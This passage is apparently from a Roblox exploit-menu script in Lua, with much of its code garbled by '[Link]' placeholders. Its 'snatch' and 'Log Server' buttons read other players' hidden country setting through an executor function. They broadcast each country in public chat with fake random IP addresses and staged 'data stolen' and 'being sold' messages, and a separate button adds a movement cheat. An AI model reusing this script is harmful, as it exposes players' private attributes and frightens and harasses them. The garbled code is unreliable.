"..[Link](836).."."..[Link](725).."."..[Link](99)..".".."##".."
".."(IP: Successfully Logged)",
"All"
)
wait(0.55)
local SayMessageRequest2 =
game:GetService("ReplicatedStorage").[Link]
SayMessageRequest2:FireServer(
[Link].."'s Data Has Been Successfully Stolen.",
"All"
)

end)

TextButton_Roundify_12px.Name = "TextButton_Roundify_12px"
TextButton_Roundify_12px.Parent = snatch
TextButton_Roundify_12px.Active = true
TextButton_Roundify_12px.AnchorPoint = [Link](0.5, 0.5)
TextButton_Roundify_12px.BackgroundColor3 = [Link](255, 255, 255)
TextButton_Roundify_12px.BackgroundTransparency = 1.000
TextButton_Roundify_12px.Position = [Link](0.5, 0, 0.5, 0)
TextButton_Roundify_12px.Selectable = true
TextButton_Roundify_12px.Size = [Link](1, 0, 1, 0)
TextButton_Roundify_12px.ZIndex = 3
TextButton_Roundify_12px.Image = "rbxassetid://3570695787"
TextButton_Roundify_12px.ImageColor3 = [Link](255, 128, 0)
TextButton_Roundify_12px.ScaleType = [Link]
TextButton_Roundify_12px.SliceCenter = [Link](100, 100, 100, 100)
TextButton_Roundify_12px.SliceScale = 0.120

[Link] = "miscbut"
[Link] = Frame
miscbut.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 1.010
[Link] = [Link](0.934640527, 0, 0.883720934, 0)
[Link] = [Link](0, 20, 0, 20)
[Link] = 3
[Link] = [Link]
[Link] = ">"
miscbut.TextColor3 = [Link](255, 255, 255)
[Link] = true
[Link] = 14.000
[Link] = true

[Link] = "MISC"
[Link] = Frame
MISC.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 1.000
[Link] = [Link](0.0775638819, 0, 0.0725949258, 0)
[Link] = [Link](0, 262, 0, 147)
[Link] = 0
[Link] = "rbxassetid://3570695787"
MISC.ImageColor3 = [Link](20, 20, 20)
[Link] = [Link]
[Link] = [Link](100, 100, 100, 100)
[Link] = 0.120

TextLabel_5.Parent = MISC
TextLabel_5.BackgroundColor3 = [Link](255, 255, 255)
TextLabel_5.BackgroundTransparency = 1.000
TextLabel_5.Position = [Link](0.02614378, 0, 0.0232981984, 0)
TextLabel_5.Size = [Link](0, 18, 0, 20)
TextLabel_5.Font = [Link]
TextLabel_5.Text = "MI"
TextLabel_5.TextColor3 = [Link](255, 85, 0)
TextLabel_5.TextSize = 25.000

TextLabel_6.Parent = MISC
TextLabel_6.BackgroundColor3 = [Link](255, 255, 255)
TextLabel_6.BackgroundTransparency = 1.000
TextLabel_6.Position = [Link](0.0980392322, 0, 0.0232981984, 0)
TextLabel_6.Size = [Link](0, 28, 0, 20)
TextLabel_6.Font = [Link]
TextLabel_6.Text = "SC"
TextLabel_6.TextColor3 = [Link](255, 255, 255)
TextLabel_6.TextSize = 25.000
[Link] = "logserver"
[Link] = MISC
snatchall.BackgroundColor3 = [Link](255, 128, 0)
[Link] = 1.000
[Link] = 0
[Link] = [Link](0.0493937507, 0, 0.703036785, 0)
[Link] = [Link](0, 236, 0, 23)
[Link] = 2
[Link] = [Link]
[Link] = "Log Server"
snatchall.TextColor3 = [Link](255, 255, 255)
[Link] = true
[Link] = 14.000
[Link] = true
snatchall.MouseButton1Down:connect(function()
--[[[Link] In-Chat Player Real Country
Fake IP leaker by kuraga.
]]
-- CREDITS TO kuraga#4659 AND DerzeTT#8830
ass = gethiddenproperty or get_hidden_prop

for _,v in pairs(game:GetService("Players"):GetPlayers()) do


if [Link] ~= game:GetService("Players").[Link] then
local Thing =
game:GetService("HttpService"):JSONDecode(game:HttpGet("[Link]
n"))
local ParsedCountry = Thing[ass(v,
"CountryRegionCodeReplicate")]
local SayMessageRequest =
game:GetService("ReplicatedStorage").[Link]
SayMessageRequest:FireServer(
[Link].." is from "..tostring(ParsedCountry).." OS:
"..[Link].." IP:
"..[Link](728).."."..[Link](326).."."..[Link](99)..".".."##".."
".."(IP: Successfully Logged)",
"All"
)
wait(2)
end
end
for i = 1,5 do
local SayMessageRequest1 =
game:GetService("ReplicatedStorage").[Link]
SayMessageRequest1:FireServer(
"Program Status: Cracking...",
"All"
)
wait(1)
end
wait(5)
local SayMessageRequest2 =
game:GetService("ReplicatedStorage").[Link]
SayMessageRequest2:FireServer(
"Program Status: Successfully Stolen Addresses, Data Being Sold
To [%Encryped Site%]",
"All"
)
end)
TextButton_Roundify_12px_2.Name = "TextButton_Roundify_12px"
TextButton_Roundify_12px_2.Parent = snatchall
TextButton_Roundify_12px_2.Active = true
TextButton_Roundify_12px_2.AnchorPoint = [Link](0.5, 0.5)
TextButton_Roundify_12px_2.BackgroundColor3 = [Link](255, 255, 255)
TextButton_Roundify_12px_2.BackgroundTransparency = 1.000
TextButton_Roundify_12px_2.Position = [Link](0.5, 0, 0.5, 0)
TextButton_Roundify_12px_2.Selectable = true
TextButton_Roundify_12px_2.Size = [Link](1, 0, 1, 0)
TextButton_Roundify_12px_2.Image = "rbxassetid://3570695787"
TextButton_Roundify_12px_2.ImageColor3 = [Link](255, 128, 0)
TextButton_Roundify_12px_2.ScaleType = [Link]
TextButton_Roundify_12px_2.SliceCenter = [Link](100, 100, 100, 100)
TextButton_Roundify_12px_2.SliceScale = 0.120

TextLabel_7.Parent = MISC
TextLabel_7.BackgroundColor3 = [Link](255, 255, 255)
TextLabel_7.BackgroundTransparency = 1.000
TextLabel_7.Position = [Link](0.0980392322, 0, 0.213774383, 0)
TextLabel_7.Size = [Link](0, 212, 0, 62)
TextLabel_7.Font = [Link]
TextLabel_7.Text = "Holy fuck some people are annoying"
TextLabel_7.TextColor3 = [Link](255, 255, 255)
TextLabel_7.TextScaled = true
TextLabel_7.TextSize = 25.000
TextLabel_7.TextWrapped = true

-- Scripts:

local function XHSJL_fake_script() -- [Link]


local script = [Link]('LocalScript', close)

close.MouseButton1Down:Connect(function()
MISC:TweenPosition([Link](0.078, 0, 0.073, 0), 'Out',
'Bounce', 0.35)
wait(.35)
[Link] = true
Frame:TweenSize([Link](0,0,0,0), 'Out', 'Linear', .3)
wait(.3)
ScreenGui:Destroy()
end)
end
[Link](XHSJL_fake_script)()
local function MOOLDA_fake_script() -- [Link]
local script = [Link]('LocalScript', miscbut)

local t = false
miscbut.MouseButton1Down:Connect(function()
if (t == false) then
MISC:TweenPosition([Link](1.051, 0, 0.073, 0), 'Out',
'Bounce', 0.35)
wait(.35)
t = true
elseif (t == true) then
MISC:TweenPosition([Link](0.078, 0, 0.073, 0), 'Out',
'Bounce', 0.35)
wait(.35)
t = false
end
end)
end
[Link](MOOLDA_fake_script)()
Frame:TweenSize([Link](0, 306, 0, 172), 'Out', 'Linear', 0.3)
wait(.3)
[Link] = false
end)

[Link] = "rolling"
[Link] = Frame
rolling.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.900
rolling.BorderColor3 = [Link](100, 173, 111)
[Link] = 0
[Link] = [Link](0.0755863935, 0, 0.750128806, 0)
[Link] = [Link](0, 266, 0, 27)
[Link] = [Link]
[Link] = "Roll Like A Ball"
rolling.TextColor3 = [Link](0, 0, 0)
[Link] = 15.000
rolling.MouseButton1Down:connect(function()
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local Camera = [Link]

local SPEED_MULTIPLIER = 30
local JUMP_POWER = 60
local JUMP_GAP = 0.3

local character = [Link]

for i,v in ipairs(character:GetDescendants()) do


if v:IsA("BasePart") then
[Link] = false
end
end

local ball = [Link]


[Link] = [Link]
[Link] = [Link](5,5,5)
local humanoid = character:WaitForChild("Humanoid")
local params = [Link]()
[Link] = [Link]
[Link] = {character}

local tc = [Link]:Connect(function(delta)
[Link] = true
[Link] = true
if UserInputService:GetFocusedTextBox() then return end
if UserInputService:IsKeyDown("W") then
[Link] -= [Link] * delta *
SPEED_MULTIPLIER
end
if UserInputService:IsKeyDown("A") then
[Link] -= [Link] * delta *
SPEED_MULTIPLIER
end
if UserInputService:IsKeyDown("S") then
[Link] += [Link] * delta *
SPEED_MULTIPLIER
end
if UserInputService:IsKeyDown("D") then
[Link] += [Link] * delta *
SPEED_MULTIPLIER
end
--[Link] = [Link] -
[Link](0,[Link].Y/50,0)
end)

[Link]:Connect(function()
local result = workspace:Raycast(
[Link],
[Link](
0,
-(([Link].Y/2)+JUMP_GAP),
0
),
params
)
if result then
[Link] = [Link] + [Link](0,JUMP_POWER,0)
end
end)

[Link] = ball
[Link]:Connect(function() tc:Disconnect() end)
end)

[Link] = Frame
TextLabel.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 1.000
[Link] = [Link](0.183000192, 0, -0.00342088938, 0)
[Link] = [Link](0, 200, 0, 50)
[Link] = [Link]
[Link] = "Page 3"
TextLabel.TextColor3 = [Link](99, 255, 96)
[Link] = 40.000

[Link] = "close3"
[Link] = Frame
close3.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 1.000
[Link] = [Link](0.813880086, 0, 0.0102564096, 0)
[Link] = [Link](0, 50, 0, 39)
[Link] = [Link]
[Link] = "X"
close3.TextColor3 = [Link](129, 255, 110)
[Link] = 40.000
close3.MouseButton1Down:connect(function()
[Link] = false
end)
end)
[Link] = "OpenFrame"
[Link] = ScreenGui
OpenFrame.BackgroundColor3 = [Link](3, 0, 21)
OpenFrame.BorderColor3 = [Link](85, 255, 99)
[Link] = 5
[Link] = [Link](-0.000789254904, 0, 0.623443246, 0)
[Link] = [Link](0, 104, 0, 68)

[Link] = "Open"
[Link] = OpenFrame
Open.BackgroundColor3 = [Link](142, 255, 107)
Open.BorderColor3 = [Link](13, 100, 0)
[Link] = 0
[Link] = [Link](0.0736218244, 0, 0.119200766, 0)
[Link] = [Link](0, 88, 0, 50)
[Link] = [Link]
[Link] = "Open"
Open.TextColor3 = [Link](0, 0, 0)
[Link] = 30.000
Open.MouseButton1Down:connect(function()
[Link] = true
[Link] = false
end)

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